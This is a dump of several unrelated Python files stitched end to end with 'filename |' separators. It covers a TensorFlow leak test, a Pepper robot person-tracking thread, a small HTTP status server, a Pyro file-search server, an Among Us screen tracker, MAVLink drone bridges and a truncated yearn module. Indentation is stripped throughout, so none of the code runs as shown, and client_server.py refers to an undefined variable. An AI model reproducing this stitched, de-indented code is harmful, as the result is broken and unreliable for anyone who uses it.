self.a = constant_op.constant([3.], name="leak")
@test_util.assert_no_new_tensors
def test_has_no_leak(self):
constant_op.constant([3.], name="no-leak")
with self.assertRaisesRegexp(AssertionError, "Tensors not deallocated"):
LeakedTensorTest().test_has_leak()
LeakedTensorTest().test_has_no_leak()
def test_no_new_objects_decorator(self):
class LeakedObjectTest(object):
def __init__(inner_self): # pylint: disable=no-self-argument
inner_self.assertEqual = self.assertEqual # pylint: disable=invalid-name
inner_self.accumulation = []
@test_util.assert_no_new_pyobjects_executing_eagerly
def test_has_leak(self):
self.accumulation.append([1.])
@test_util.assert_no_new_pyobjects_executing_eagerly
def test_has_no_leak(self):
self.not_accumulating = [1.]
with self.assertRaises(AssertionError):
LeakedObjectTest().test_has_leak()
LeakedObjectTest().test_has_no_leak()
if __name__ == "__main__":
googletest.main()
|
personlost.py | #! /usr/bin/env python
# -*- encoding: UTF-8 -*-
# DOCUMENTATION
# http://doc.aldebaran.com/2-5/naoqi/peopleperception/alengagementzones-api.html#alengagementzones-api
import qi
import argparse
import sys
import os
import time
import threading
import math
from naoqi import ALProxy
import conditions
from conditions import set_condition
def rhMonitorThread (memory_service):
global last_personid
t = threading.currentThread()
print "personlost thread started"
personid = 0
count = 0
match = 1
while getattr(t, "do_run", True):
try:
plist = memory_service.getData('PeoplePerception/PeopleList')
personid = memory_service.getData('Actions/personhere/PersonID')
except Exception:
plist = []
personid = 0
v = 'false'
try:
if (len(plist) >= 1):
if personid in plist:
match = 1
memory_service.insertData('personlost',0)
else:
match = 0
else:
match = 0
if (match == 0):
count += 1
if (count >= 10): #5 seconds without seeing anyone
v = 'true'
count = 0
memory_service.insertData('personlost',1)
except:
v = 'false'
set_condition(memory_service,'personlost',v)
time.sleep(0.5)
print "personlost thread quit"
def init(session):
global memory_service
global monitorThread
print "Person lost init"
#Starting services
memory_service = session.service("ALMemory")
zones_service = session.service("ALEngagementZones")
people_service = session.service("ALPeoplePerception")
people_service.resetPopulation()
#waving_service = session.service("ALWavingDetection")
#movement_service = session.service("ALMovementDetection")
print "Creating the thread"
#create a thead that monitors directly the signal
monitorThread = threading.Thread(target = rhMonitorThread, args = (memory_service,))
monitorThread.start()
def quit():
global monitorThread
print "Person lost quit"
monitorThread.do_run = False
def main():
global memory_service
parser = argparse.ArgumentParser()
parser.add_argument("--pip", type=str, default=os.environ['PEPPER_IP'],
help="Robot IP address. On robot or Local Naoqi: use '127.0.0.1'.")
parser.add_argument("--pport", type=int, default=9559,
help="Naoqi port number")
args = parser.parse_args()
pip = args.pip
pport = args.pport
#Starting application
try:
connection_url = "tcp://" + pip + ":" + str(pport)
print "Connecting to ", connection_url
app = qi.Application(["PersonHere", "--qi-url=" + connection_url ])
except RuntimeError:
print ("Can't connect to Naoqi at ip \"" + pip + "\" on port " + str(pport) +".\n"
"Please check your script arguments. Run with -h option for help.")
sys.exit(1)
app.start()
session = app.session
init(session)
app.run()
if __name__ == "__main__":
main()
|
report.py | # -*- coding: UTF-8 -*-
################################################################################
#
# Copyright (c) 2018 Baidu.com, Inc. All Rights Reserved
#
################################################################################
"""
**state_service** 状态展示模块,用于对支持中的状态进行展示,返回json数据
.. Note:: 当前只提供了根据operation_id进行操作展示的api接口,暂不支持其他复杂条件查询
"""
import SocketServer
import multiprocessing
import urlparse
import string
from SimpleHTTPServer import SimpleHTTPRequestHandler
from ark.are import config
from ark.are import log
from ark.are import client
from ark.are import exception
class RequestHandler(SimpleHTTPRequestHandler):
"""
Http请求处理类
"""
def do_GET(self):
"""
处理http get方法请求,发送到Elasticsearch查询结果,并返回
get方法中必须带有uid,否则无法查询
:return: None
"""
path_dict = self._path_to_dict(self.path)
if 'uid' in path_dict:
response = self._do_request(path_dict['uid'])
self.wfile.write(response)
else:
notice = "please enter uid parameter!"
self.wfile.write(notice)
def _path_to_dict(self, path):
"""
把http get方法字符串转字典
:param str path: path字符串
:return: get方法字符串转字典
:rtype: dict
"""
query = urlparse.urlparse(path).query
return dict([(k, v[0]) for k, v in urlparse.parse_qs(query).items()])
def _do_request(self, uid):
"""
发送http请求
发生异常会记录日志
:raises: exception.EFailedRequest 请求失败
:param str uid:
:return: None 或者 请求数据
:rtype: None 或者str
"""
response = None
try:
condition = {"uid": uid}
esc = client.ESClient("ark", "operation")
response = esc.get_data_with_condition(condition)
except exception.EFailedRequest as e:
log.f(str(e.reason))
finally:
return response
class ArkServer(object):
"""
状态机展示http服务器
"""
def __init__(self):
"""
初始化方法
"""
self._port = string.atoi(config.GuardianConfig.get("ARK_SERVER_PORT"))
def start(self, daemon=True):
"""
启动StateMachineServer
:param bool daemon: 是否以daemon运行
:return: None
"""
process = multiprocessing.Process(target=self.__run)
process.daemon = daemon
process.start()
def __run(self):
"""
http server进程
发生异常会记录日志
:raises: Exception: 运行中可能抛出的异常
"""
try:
handler = RequestHandler
SocketServer.TCPServer.allow_reuse_address = True
_server = SocketServer.TCPServer(('', self._port), handler)
_server.serve_forever()
except:
log.f('Generic Exception')
|
client_server.py | import Pyro.core
import Pyro.naming
import os
import sys
import subprocess
import threading
from threading import Thread
class DirectoryEntity(Pyro.core.ObjBase):
def __init__(self, daemon, name, dir_path):
Pyro.core.ObjBase.__init__(self)
self.name = name
self.daemon = daemon
self.children = []
self.child_count = 0
self.child_names = []
self.dir_path = dir_path
self.file_names = []
def register_child(self, child_name, child_path):
child = DirectoryEntity(self.daemon, child_name, child_path)
self.daemon.connect(child, child_name)
self.children.append(child)
def add_child(self, root_dir, child_dir_name):
child_name = self.name + "_c" + str(self.child_count)
self.child_count = self.child_count + 1
child_dir_path = os.path.join(root_dir, child_dir_name)
self.register_child(child_name, child_dir_path)
self.child_names.append(child_name)
def _process(self):
for root, dirs, files in os.walk(self.dir_path, topdown = True):
print "visited : ", root
for dir_name in dirs:
self.add_child(root, dir_name)
for file_name in files:
self.file_names.append(file_name)
file_dir_path = os.path.join(root,file_name)
del dirs[:]
def process(self):
all_children = [self]
while len(all_children) > 0:
child = all_children.pop(0)
child._process()
all_children.extend(child.children)
Pyro.config.PYRO_MOBILE_CODE=1
def _search(self, query, result):
#print "searching " + self.dir_path
for child in self.children:
#print "Searching child " + child.dir_path + "for " + query
if child.dir_path.find(query) >= 0:
result.append(child.dir_path)
for file_name in child.file_names:
file_path = os.path.join(child.dir_path,file_name)
if file_path.find(query) >= 0:
result.append(file_path)
print "match found : " + file_path
child._search(query, result)
def search(self, query):
result = []
self._search(query, result)
return "\n".join(result)
def _find(self, finder):
finder.find(self)
for c in self.children:
c._find(finder)
return finder
def resolve_query(self, finder):
f = self._find(finder)
logger = Pyro.core.getProxyForURI("PYRONAME://logger")
logger.log("NULL")
return f
def find(self, finder):
#t = Thread(target=self.resolve_query, args=(finder,))
#t.start()
return self.resolve_query(finder)
class RootEntity(Pyro.core.ObjBase):
def __init__(self, daemon,conn):
Pyro.core.ObjBase.__init__(self)
self.daemon = daemon
self.client = None
def register(self, client):
self.client = client
def process(self, dir_path):
print "Server processing started...."
child_name = "p"
child = DirectoryEntity(self.daemon, child_name, dir_path)
self.daemon.connect(child, child_name)
locator = Pyro.naming.NameServerLocator()
ns = locator.getNS()
uri = "PYRONAME://" + child_name
obj = Pyro.core.getProxyForURI(uri)
obj.process()
def startServer():
Pyro.core.initServer()
locator = Pyro.naming.NameServerLocator()
ns = locator.getNS()
daemon = Pyro.core.Daemon()
daemon.useNameServer(ns)
server = RootEntity(daemon,conn)
daemon.connect(server, 'server')
try:
daemon.requestLoop()
except Exception , e:
print str(e)
finally:
daemon.shutdown(True)
if __name__ == "__main__":
Pyro.config.PYRO_TRACELEVEL = 3
Pyro.config.PYRO_LOGFILE='log_file'
Pyro.config.PYRO_MAXCONNECTIONS = 1000
startServer()
|
tracker.py | # 2020 - Rafael Urben
# https://github.com/rafaelurben/django-discordbot/tree/master/discordbot/files/amongus
import json
import threading
import time
import pyautogui
import requests
import sys
from win10toast import ToastNotifier
from rich import print
from rich.table import Table
from rich.text import Text
from rich.style import Style
###
DEBUG_COORD_COLOR_COMPARISON = False
DEBUG_MEETING_COLORS = True
DEBUG_REQUESTS = False
IGNORE_CONNECTION_ERRORS = True
###
_X1 = 340
_X2 = 995
_Y = 265
_DY = 137
PLAYERCOORDS = [
(_X1, _Y+0*_DY),
(_X1, _Y+1*_DY),
(_X1, _Y+2*_DY),
(_X1, _Y+3*_DY),
(_X1, _Y+4*_DY),
(_X2, _Y+0*_DY),
(_X2, _Y+1*_DY),
(_X2, _Y+2*_DY),
(_X2, _Y+3*_DY),
(_X2, _Y+4*_DY),
]
_DCX = 0
_DCY = -25
COORDS_M_PLAYERS = [
(c, (c[0]+_DCX, c[1]+_DCY))
for c in PLAYERCOORDS
]
###
_ORIGINAL_AMONGUS_COLORS = {
'red': ("#C51111", (179, 17, 17), ":heart:", '❤'),
'blue': ("#132FD2", (19, 47, 210), ":blue_heart:", '💙'),
'green': ("#127F2D", (18, 127, 45), ":green_heart:", '💚'),
'pink': ("#ED53B9", (237, 83, 185), ":heartpulse:", '💗'),
'orange': ("#EF7D0E", (239, 125, 14), ":orange_heart:", '🧡'),
'yellow': ("#F3F558", (243, 246, 88), ":yellow_heart:", '💛'),
'black': ("#3F484E", (63, 72, 78), ":black_heart:", '🖤'),
'white': ("#D5E0EF", (213, 224, 239), ":white_heart:", '🤍'),
'purple': ("#6B30BC", (107, 48, 188), ":purple_heart:", '💜'),
'brown': ("#72491E", (114, 37, 30), ":brown_heart:", '🤎'),
'cyan': ("#39FEDB", (57, 254, 219), ":regional_indicator_c:", '🇨'),
'lime': ("#50EF3A", (80, 239, 58), ":regional_indicator_l:", '🇱'),
}
PLAYERCOLORS = {
"red": [
(125, 57, 64),
(192, 62, 72),
(109, 9, 9),
(198, 17, 17),
(81, 21, 22),
],
"blue": [
(54, 72, 146),
(61, 89, 214),
(10, 25, 116),
(25, 28, 95),
(19, 46, 210),
],
"green": [
(50, 103, 76),
(60, 150, 89),
(9, 71, 25),
(17, 128, 45),
],
"pink": [
(146, 88, 137),
(225, 115, 202),
(130, 55, 108),
(238, 84, 187),
],
"orange": [
(145, 106, 67),
(225, 144, 65),
(168, 88, 9),
(241, 125, 14),
(133, 69, 7),
],
"yellow": [
(145, 152, 94),
(229, 232, 125),
(136, 136, 48),
(246, 246, 87),
(104, 106, 47),
],
"black": [
(73, 82, 92),
(91, 103, 117),
(35, 39, 43),
(62, 71, 78),
(68, 81, 89)
],
"white": [
(136, 146, 159),
(208, 221, 240),
(119, 124, 133),
],
"purple": [
(86, 70, 135),
(125, 86, 195),
(59, 26, 104),
(107, 47, 188),
],
"brown": [
(96, 83, 71),
(134, 106, 82),
(114, 73, 29),
(62, 40, 17),
],
"cyan": [
(66, 156, 149),
(91, 242, 227),
(31, 141, 122),
(56, 255, 221),
],
"lime": [
(80, 153, 84),
(107, 232, 102),
(47, 140, 33),
(104, 233, 106),
(40, 104, 36),
(78, 233, 55),
],
}
COLORS_M_ALIVE = [(108, 137, 151), (155, 205, 225), (82, 112, 122)]
COLORS_M_DEAD = [(131, 69, 58), (116, 25, 4), (99, 31, 8), (82, 112, 122)]
COLORS_M_NOPLAYER = [(171, 201, 229), (187, 211, 237), (156, 183, 209)]
COLORS_M_PLAYERS = [(color, c) for c, colors in PLAYERCOLORS.items() for color in colors]
###
COORDS_DISCUSS = ((800, 800), (950, 800), (1100, 800))
COLORS_DISCUSS = ((251, 123, 0), (171, 238, 83), (23, 121, 2))
COORDS_DEFEAT = ((910, 165), (10, 10), (1910, 10))
COLORS_DEFEAT = ((254, 0, 5), (0, 0, 0), (0, 0, 0))
COORDS_VICTORY = ((960, 167), (10, 10), (1910, 10))
COLORS_VICTORY = ((0, 139, 255), (0, 0, 0), (0, 0, 0))
COORDS_MEETING = ((1615, 380), (1615, 760), (1500, 975))
COLORS_MEETING = ((143, 151, 164), (143, 151, 164), (171, 201, 229))
COORDS_SHHHHHHH = ((1120, 630), (1320, 590), (1300, 450))
COLORS_SHHHHHHH = ((198, 0, 1), (255, 129, 52), (255, 213, 77))
COORDS_CHAT = ((1300, 913), (1100, 913), (1364, 913))
COLORS_CHAT = ((255, 255, 255), (255, 255, 255), (2, 113, 228))
COORDS_HOMESCREEN = ((779, 989), (1148, 977))
COLORS_HOMESCREEN = ((232, 240, 242), (85, 102, 102))
COORDS_HOMESCREEN2 = ((194, 1013), (532, 282))
COLORS_HOMESCREEN2 = ((255, 255, 255), (52, 68, 95))
###
toaster = ToastNotifier()
toast = toaster.show_toast
###
def render(obj):
if isinstance(obj, bool):
return Text("True", style="green") if obj else Text("False", style="red")
elif obj is None:
return Text("None", style="blue")
else:
return str(obj)
def log(*args, **kwargs):
print("[AmongUs Tracker] -", *args, *kwargs)
###
def samecolor(c1, c2, maxdiff=20):
diff = (abs(c1[0]-c2[0])+abs(c1[1]-c2[1])+abs(c1[2]-c2[2]))
return True if diff == 0 else diff if diff < maxdiff else False
def bestmatchingcolor(c1, cs, maxdiff=20):
best_c = None
best_diff = None
for c in cs:
diff = samecolor(c1, c[0], maxdiff)
if diff == True:
return c[1]
elif bool(diff) and (best_diff is None or diff < best_diff):
best_c = c[1]
best_diff = diff
return best_c
def matchesonecolor(c1, cs, maxdiff=10):
for c in cs:
if samecolor(c1, c, maxdiff):
return True
return False
###
class AmongUsTracker():
def __init__(self, url: str, id: int, apikey: str):
self.url = url
self.id = id
self.apikey = apikey
self.topleft = (0, 0)
self.size = tuple(pyautogui.size())
self.last_state = "unknown"
@property
def screenshot(self):
return pyautogui.screenshot(region=(*self.topleft, *self.size))
# Post data
def _post(self, data, **kwargs):
try:
data = {
"id": self.id,
"api_key": self.apikey,
**data,
**kwargs
}
if DEBUG_REQUESTS:
print("[DEBUG] - POST Data:", data)
r = requests.post(url=self.url, json=json.dumps(data))
j = r.json()
if "success" in j:
log("POST - Successfully posted data to server!")
elif "error" in j:
log("POST - Error received from server:", j["error"] + (" - "+j["error_message"] if "error_message" in j else ""))
if j["error"] == "invalid-api-key":
toast(title="[AmongUsTracker] Error!",
msg="Invalid API-Key! Please check your API key!")
sys.exit()
elif j["error"] == "id-not-found":
toast(title="[AmongUsTracker] Error!",
msg="ID not found! Please check that your ID is correct!")
sys.exit()
elif j["error"] == "invalid-data":
log("POST - THIS MIGHT BE A SERVER-SIDE BUG!")
except (ConnectionError, requests.exceptions.ConnectionError) as e:
log("POST - ConnectionError:", e)
if not IGNORE_CONNECTION_ERRORS:
toast(title="[AmongUsTracker] Error!",
msg="A ConnectionError occured! Please check your connection!")
sys.exit()
except ValueError as e:
log("POST - ValueError:", e)
toast(title="[AmongUsTracker] Error!",
msg="Didn't receive a valid response! Are you sure the url is correct?")
sys.exit()
def post(self, data={}, **kwargs):
thread = threading.Thread(target=self._post, args=(data,), kwargs=kwargs)
thread.start()
log("POST - Posting in background...")
# Detect state
def _compare_coord_colors(self, coordlist, colorlist, screenshot=None, debugtitle="", maxdiff=20):
screenshot = screenshot or self.screenshot
colors = tuple(screenshot.getpixel(c) for c in coordlist)
same = True
for i in range(len(colors)):
if not bool(samecolor(colors[i], colorlist[i], maxdiff)):
same = False
break
if DEBUG_COORD_COLOR_COMPARISON:
print(debugtitle, same, colors, colorlist)
return same
def _is_discuss_screen(self, screenshot=None):
return self._compare_coord_colors(COORDS_DISCUSS, COLORS_DISCUSS, screenshot, "Discuss")
def _is_defeat_screen(self, screenshot=None):
return self._compare_coord_colors(COORDS_DEFEAT, COLORS_DEFEAT, screenshot, "Defeat")
def _is_victory_screen(self, screenshot=None):
return self._compare_coord_colors(COORDS_VICTORY, COLORS_VICTORY, screenshot, "Victory")
def _is_homescreen(self, screenshot=None):
return (self._compare_coord_colors(COORDS_HOMESCREEN, COLORS_HOMESCREEN, screenshot, "Homescreen") or
self._compare_coord_colors(COORDS_HOMESCREEN2, COLORS_HOMESCREEN2, screenshot, "Homescreen 2"))
def _is_end_screen(self, screenshot=None):
return self._is_defeat_screen(screenshot) or self._is_victory_screen(screenshot) or self._is_homescreen(screenshot)
def _is_shhhhhhh_screen(self, screenshot=None):
return self._compare_coord_colors(COORDS_SHHHHHHH, COLORS_SHHHHHHH, screenshot, "Shhhhhhh")
def _is_meeting_screen(self, screenshot=None):
return self._compare_coord_colors(COORDS_MEETING, COLORS_MEETING, screenshot, "Meeting")
def _is_chat_open(self, screenshot=None):
return self._compare_coord_colors(COORDS_CHAT, COLORS_CHAT, screenshot, "Chat")
def _get_state(self, screenshot=None):
screenshot = screenshot or self.screenshot
if self._is_chat_open(screenshot):
return "chat"
elif self._is_homescreen(screenshot):
return "homescreen"
elif self._is_discuss_screen(screenshot):
return "discuss"
elif self._is_meeting_screen(screenshot):
return "meeting"
elif self._is_end_screen(screenshot):
return "end"
elif self._is_shhhhhhh_screen(screenshot):
return "start"
else:
return "unknown"
def _get_meeting_players(self, screenshot=None):
screenshot = screenshot or self.screenshot
error = False
colors = []
for i in range(len(COORDS_M_PLAYERS)):
coords = COORDS_M_PLAYERS[i]
c_state = screenshot.getpixel(coords[0])
alive = matchesonecolor(c_state, COLORS_M_ALIVE, 50)
dead = matchesonecolor(c_state, COLORS_M_DEAD, 50)
inexistant = matchesonecolor(c_state, COLORS_M_NOPLAYER, 10)
c_color = screenshot.getpixel(coords[1])
color = bestmatchingcolor(c_color, COLORS_M_PLAYERS, 25)
colors.append({
"i": i+1,
"c_state": c_state,
"alive": True if alive else False if dead else None,
"exists": False if inexistant else True if (alive or dead) else None,
"c_color": c_color,
"color": color,
})
if not inexistant and not alive and not dead:
error = True
players = {}
for p in colors:
color, alive = p["color"], p["alive"]
if color is not None:
if color in players:
error = True
if alive == True:
players[color] = {
"exists": True,
"alive": True,
}
elif alive == False:
players[color] = {
"exists": True,
"alive": False,
}
if DEBUG_MEETING_COLORS:
tb = Table("i", "cs", "c_state", "exists", "alive", "cc", "c_color", "color")
for p in colors:
tb.add_row(
render(p["i"]),
Text(" ", style=Style(bgcolor="rgb"+str(p["c_state"]))),
render(p["c_state"]),
render(p["exists"]),
render(p["alive"]),
Text(" ", style=Style(bgcolor="rgb"+str(p["c_color"]))),
render(p["c_color"]),
render(p["color"]),
)
print(tb)
if error:
log("MEETING PLAYERS - Skipping due to possibly corrupted screenshot!")
return None
else:
log("MEETING PLAYERS - Detected probably valid playerdata.")
return players
# Actions
def post_meeting_players(self, screenshot=None):
players = self._get_meeting_players(screenshot)
if players is not None:
data = {
"state": {
"ingame": True,
"meeting": True
},
"players": players,
}
self.post(data)
return True
return False
def post_reset(self):
self.post({"reset": True})
def post_ingame(self, **kwargs):
self.post({"state": {"ingame": True, "meeting": False}}, **kwargs)
def post_state(self):
screenshot = self.screenshot
state = self._get_state(screenshot)
oldstate = self.last_state
self.last_state = state
if not oldstate == state:
if state == "chat":
log("STATE - Chat opened...")
elif state == "end":
log("STATE - Game ended!")
self.post_reset()
toast(title="[AmongUsTracker] Game ended!",
msg="Successfully detected game end!",
threaded=True, duration=2)
elif state == "homescreen":
log("STATE - Home screen detected! (Reset)")
self.post_reset()
elif state == "start":
log("STATE - Game started!")
self.post_ingame(reset=True)
toast(title="[AmongUsTracker] Game started!",
msg="Successfully detected game start!",
threaded=True, duration=2)
elif state == "discuss":
log("STATE - Meeting starts soon!")
elif state == "meeting":
log("STATE - Meeting started!")
time.sleep(0.5)
if not self.post_meeting_players(self.screenshot):
if not self.post_meeting_players(screenshot):
self.last_state = oldstate
else:
if oldstate in ["meeting", "chat"]:
log("STATE - Meeting ended! (Sleep 6s)")
time.sleep(6)
self.post_ingame()
elif oldstate in ["end", "homescreen"]:
self.last_state = oldstate
else:
log(f"STATE - State changed to {state}!")
# Mainloop
def main(self, speed=0.05):
self.post_reset()
log("TRACKER - Started tracking!")
while True:
self.post_state()
time.sleep(speed)
if __name__ == "__main__":
URL = "https://app.rafaelurben.ch/discordbot/amongus/tracker/post"
ID = 1
API_KEY = ""
try:
tracker = AmongUsTracker(url=URL, id=ID, apikey=API_KEY)
tracker.main(speed=0.1)
except KeyboardInterrupt:
log("KeyboardInterrupt")
|
redis_to_ap.py | #!/usr/bin/env python3
# Set MAVLink protocol to 2.
import os
os.environ["MAVLINK20"] = "1"
import time
import threading
import traceback
import logging
from apscheduler.schedulers.background import BackgroundScheduler
from mycelium.components import RedisBridge, Connector
from mycelium_utils import Scripter, utils, DefaultConfig
class RedisToAPScripterExt:
instance = None
i=0
def __init__(self, connection, **kwargs):
if not RedisToAPScripterExt.instance:
RedisToAPScripterExt.instance = RedisToAPScripterExt.__RedisToAPScripterExt(connection,**kwargs)
def __getattr__(self, name):
return getattr(self.instance, name)
class __RedisToAPScripterExt(Scripter):
def __init__(self, connection, **kwargs):
super().__init__(**kwargs)
self.rb = RedisBridge(db=self.rd_cfg.databases['instruments'])
self.keys = self.rd_cfg.generate_flat_keys('instruments')
self.conn = connection
self.lock = threading.Lock()
default_msg_hz = 30.0
msg_hz = {
'send_vision_position_estimate': 30.0,
'send_obstacle_distance': 15.0
}
self.mavlink_thread = threading.Thread(target=self.mavlink_loop, args=[self.conn])
self.mavlink_thread.start()
self.sched = BackgroundScheduler()
logging.getLogger('apscheduler').setLevel(logging.ERROR)
self.data = {}
for k, v in self.keys.items():
try:
if v in msg_hz.keys():
seconds = 1.0/msg_hz[v]
else:
seconds = 1.0/default_msg_hz
func = getattr(self.conn, v)
self.sched.add_job(self.send_message,
'interval',
seconds=seconds,
args=[func, k],
max_instances=1
)
except:
utils.progress(traceback)
else:
self.data[k] = None
def run_main(self):
self.sched.start()
while not self.exit_threads:
with self.lock:
for k, _ in self.keys.items():
self.data[k] = self.rb.get_key_by_string(k)
time.sleep(0.3)
# self.conn.send_heartbeat()
# m = self.conn.get_callbacks(['HEARTBEAT'])
# if m is None:
# continue
# self.logger.log_debug("Received callback: %s" % m)
# # utils.progress(m)
def mavlink_loop(self, conn, callbacks=['HEARTBEAT']):
while not self.exit_threads:
self.conn.send_heartbeat()
m = self.conn.get_callbacks(callbacks)
if m is None:
continue
self.logger.log_debug("Received callback: %s" % m)
def send_message(self, func, key):
while not self.exit_threads:
with self.lock:
try:
value = self.data[key]
if value is not None:
func(*value)
except Exception as e:
self.logger.log_error("Could not send %s"%e)
def close_script(self):
try:
self.sched.shutdown()
self.mavlink_thread.join()
self.conn.disconnect()
except:
pass
cfg = DefaultConfig()
conn = Connector(cfg.redis_to_ap, cfg.connection_baudrate, cfg.default_source_component, cfg.camera_source_component)
scripter = RedisToAPScripterExt(connection=conn, log_source="redis_to_ap")
scripter.run()
|
mavlink.py | from __future__ import print_function
import logging
import time
import socket
import errno
import sys
import os
import platform
import copy
from dronekit import APIException
from pymavlink import mavutil
from queue import Queue, Empty
from threading import Thread
if platform.system() == 'Windows':
from errno import WSAECONNRESET as ECONNABORTED
else:
from errno import ECONNABORTED
class MAVWriter(object):
"""
Indirection layer to take messages written to MAVlink and send them all
on the same thread.
"""
def __init__(self, queue):
self._logger = logging.getLogger(__name__)
self.queue = queue
def write(self, pkt):
self.queue.put(pkt)
def read(self):
self._logger.critical('writer should not have had a read request')
os._exit(43)
class mavudpin_multi(mavutil.mavfile):
'''a UDP mavlink socket'''
def __init__(self, device, baud=None, input=True, broadcast=False, source_system=255, source_component=0, use_native=mavutil.default_native):
self._logger = logging.getLogger(__name__)
a = device.split(':')
if len(a) != 2:
self._logger.critical("UDP ports must be specified as host:port")
sys.exit(1)
self.port = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.udp_server = input
self.broadcast = False
self.addresses = set()
if input:
self.port.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.port.bind((a[0], int(a[1])))
else:
self.destination_addr = (a[0], int(a[1]))
if broadcast:
self.port.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
self.broadcast = True
mavutil.set_close_on_exec(self.port.fileno())
self.port.setblocking(False)
mavutil.mavfile.__init__(self, self.port.fileno(), device, source_system=source_system, source_component=source_component, input=input, use_native=use_native)
def close(self):
self.port.close()
def recv(self, n=None):
try:
try:
data, new_addr = self.port.recvfrom(65535)
except socket.error as e:
if e.errno in [errno.EAGAIN, errno.EWOULDBLOCK, errno.ECONNREFUSED]:
return ""
if self.udp_server:
self.addresses.add(new_addr)
elif self.broadcast:
self.addresses = {new_addr}
return data
except Exception:
self._logger.exception("Exception while reading data", exc_info=True)
def write(self, buf):
try:
try:
if self.udp_server:
for addr in self.addresses:
self.port.sendto(buf, addr)
else:
if len(self.addresses) and self.broadcast:
self.destination_addr = self.addresses[0]
self.broadcast = False
self.port.connect(self.destination_addr)
self.port.sendto(buf, self.destination_addr)
except socket.error:
pass
except Exception:
self._logger.exception("Exception while writing data", exc_info=True)
def recv_msg(self):
'''message receive routine for UDP link'''
self.pre_message()
s = self.recv()
if len(s) > 0:
if self.first_byte:
self.auto_mavlink_version(s)
m = self.mav.parse_char(s)
if m is not None:
self.post_message(m)
return m
class MAVConnection(object):
def stop_threads(self):
if self.mavlink_thread_in is not None:
self.mavlink_thread_in.join()
self.mavlink_thread_in = None
if self.mavlink_thread_out is not None:
self.mavlink_thread_out.join()
self.mavlink_thread_out = None
def __init__(self, ip, baud=115200, target_system=0, source_system=255, source_component=0, use_native=False):
self._logger = logging.getLogger(__name__)
if ip.startswith("udpin:"):
self.master = mavudpin_multi(ip[6:], input=True, baud=baud, source_system=source_system, source_component=source_component)
else:
self.master = mavutil.mavlink_connection(ip, baud=baud, source_system=source_system, source_component=source_component)
# TODO get rid of "master" object as exposed,
# keep it private, expose something smaller for dronekit
self.out_queue = Queue()
self.master.mav = mavutil.mavlink.MAVLink(
MAVWriter(self.out_queue),
srcSystem=self.master.source_system,
srcComponent=self.master.source_component,
use_native=use_native)
# Monkey-patch MAVLink object for fix_targets.
sendfn = self.master.mav.send
def newsendfn(mavmsg, *args, **kwargs):
self.fix_targets(mavmsg)
return sendfn(mavmsg, *args, **kwargs)
self.master.mav.send = newsendfn
# Targets
self.target_system = target_system
# Listeners.
self.loop_listeners = []
self.message_listeners = []
# Debug flag.
self._accept_input = True
self._alive = True
self._death_error = None
import atexit
def onexit():
self._alive = False
self.stop_threads()
atexit.register(onexit)
def mavlink_thread_out():
# Huge try catch in case we see http://bugs.python.org/issue1856
try:
while self._alive:
try:
msg = self.out_queue.get(True, timeout=0.01)
self.master.write(msg)
except Empty:
continue
except socket.error as error:
# If connection reset (closed), stop polling.
if error.errno == ECONNABORTED:
raise APIException('Connection aborting during read')
raise
except Exception as e:
self._logger.exception('mav send error: %s' % str(e))
break
except APIException as e:
self._logger.exception("Exception in MAVLink write loop", exc_info=True)
self._alive = False
self.master.close()
self._death_error = e
except Exception as e:
# http://bugs.python.org/issue1856
if not self._alive:
pass
else:
self._alive = False
self.master.close()
self._death_error = e
# Explicitly clear out buffer so .close closes.
self.out_queue = Queue()
def mavlink_thread_in():
# Huge try catch in case we see http://bugs.python.org/issue1856
try:
while self._alive:
# Loop listeners.
for fn in self.loop_listeners:
fn(self)
# Sleep
self.master.select(0.05)
while self._accept_input:
try:
msg = self.master.recv_msg()
except socket.error as error:
# If connection reset (closed), stop polling.
if error.errno == ECONNABORTED:
raise APIException('Connection aborting during send')
raise
except mavutil.mavlink.MAVError as e:
# Avoid
# invalid MAVLink prefix '73'
# invalid MAVLink prefix '13'
self._logger.debug('mav recv error: %s' % str(e))
msg = None
except Exception:
# Log any other unexpected exception
self._logger.exception('Exception while receiving message: ', exc_info=True)
msg = None
if not msg:
break
# Message listeners.
for fn in self.message_listeners:
try:
fn(self, msg)
except Exception:
self._logger.exception(
'Exception in message handler for %s' % msg.get_type(),
exc_info=True
)
except APIException as e:
self._logger.exception('Exception in MAVLink input loop')
self._alive = False
self.master.close()
self._death_error = e
return
except Exception as e:
# http://bugs.python.org/issue1856
if not self._alive:
pass
else:
self._alive = False
self.master.close()
self._death_error = e
t = Thread(target=mavlink_thread_in)
t.daemon = True
self.mavlink_thread_in = t
t = Thread(target=mavlink_thread_out)
t.daemon = True
self.mavlink_thread_out = t
def reset(self):
self.out_queue = Queue()
if hasattr(self.master, 'reset'):
self.master.reset()
else:
try:
self.master.close()
except:
pass
self.master = mavutil.mavlink_connection(self.master.address)
def fix_targets(self, message):
"""Set correct target IDs for our vehicle"""
if hasattr(message, 'target_system'):
message.target_system = self.target_system
def forward_loop(self, fn):
"""
Decorator for event loop.
"""
self.loop_listeners.append(fn)
def forward_message(self, fn):
"""
Decorator for message inputs.
"""
self.message_listeners.append(fn)
def start(self):
if not self.mavlink_thread_in.is_alive():
self.mavlink_thread_in.start()
if not self.mavlink_thread_out.is_alive():
self.mavlink_thread_out.start()
def close(self):
# TODO this can block forever if parameters continue to be added
self._alive = False
while not self.out_queue.empty():
time.sleep(0.1)
self.stop_threads()
self.master.close()
def pipe(self, target):
target.target_system = self.target_system
# vehicle -> self -> target
@self.forward_message
def callback(_, msg):
try:
target.out_queue.put(msg.pack(target.master.mav))
except:
try:
assert len(msg.get_msgbuf()) > 0
target.out_queue.put(msg.get_msgbuf())
except:
self._logger.exception('Could not pack this object on receive: %s' % type(msg), exc_info=True)
# target -> self -> vehicle
@target.forward_message
def callback(_, msg):
msg = copy.copy(msg)
target.fix_targets(msg)
try:
self.out_queue.put(msg.pack(self.master.mav))
except:
try:
assert len(msg.get_msgbuf()) > 0
self.out_queue.put(msg.get_msgbuf())
except:
self._logger.exception('Could not pack this object on forward: %s' % type(msg), exc_info=True)
return target
|
strategies.py | import logging
import threading
import time
from typing import List
from brownie import Contract, chain
from eth_utils import encode_hex, event_abi_to_log_topic
from yearn.utils import safe_views, contract
from yearn.multicall2 import fetch_multicall
from yearn.events import create_filter, decode_logs
STRATEGY_VIEWS_SCALED = [
"maxDebtPerHarvest",
"minDebtPerHarvest",
"totalDebt",
"totalGain",
"totalLoss",
